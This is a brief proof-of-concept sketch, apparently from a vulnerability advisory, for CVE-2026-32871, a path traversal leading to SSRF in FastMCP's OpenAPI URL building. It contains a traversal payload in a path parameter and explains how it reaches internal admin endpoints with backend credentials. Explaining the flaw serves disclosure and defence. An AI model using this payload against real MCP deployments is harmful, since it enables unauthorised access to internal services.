CVE-2026-32871 FastMCP路径遍历导致SSRF漏洞

# PoC Concept for FastMCP CVE-2026-32871 # This demonstrates how a malicious path parameter can trigger directory traversal import requests # Target scenario: An OpenAPI spec defines an endpoint like /api/v1/users/{user_id} # The FastMCP provider is configured to forward requests to http://internal-backend/api/v1/ malicious_user_id = "../../admin/settings" # Path traversal payload # The vulnerable _build_url() method constructs the URL like this: # base = "http://internal-backend/api/v1/" # template = "/users/{user_id}" # result = urljoin(base, template.replace("{user_id}", malicious_user_id)) # Expected: http://internal-backend/api/v1/users/../../admin/settings # Resolved by urljoin: http://internal-backend/admin/settings # This accesses an arbitrary endpoint with the backend's credentials. print(f"Sending request with malicious parameter: {malicious_user_id}") # In a real exploit, this would be sent via the MCP client interface.